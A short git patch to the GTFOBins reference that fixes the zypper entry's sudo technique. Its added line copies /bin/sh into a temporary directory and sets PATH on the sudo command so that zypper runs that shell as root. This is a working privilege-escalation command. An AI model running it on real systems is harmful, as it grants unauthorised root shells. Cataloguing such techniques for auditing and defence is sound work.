From b92d9e0ec20df5e1764444ad671b23dd45b0e5d3 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Wed, 10 Jun 2020 22:54:20 +0200 Subject: [PATCH] Fix sudo zypper `PATH` is a forbidden variable that is not preserved by -E anyway. --- _gtfobins/zypper.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/_gtfobins/zypper.md b/_gtfobins/zypper.md index 3e051f8..164ad81 100644 --- a/_gtfobins/zypper.md +++ b/_gtfobins/zypper.md @@ -16,6 +16,5 @@ functions: - code: | TF=$(mktemp -d) cp /bin/sh $TF/zypper-x - export PATH=$TF:$PATH - sudo -E zypper x + sudo PATH=$TF:$PATH zypper x ---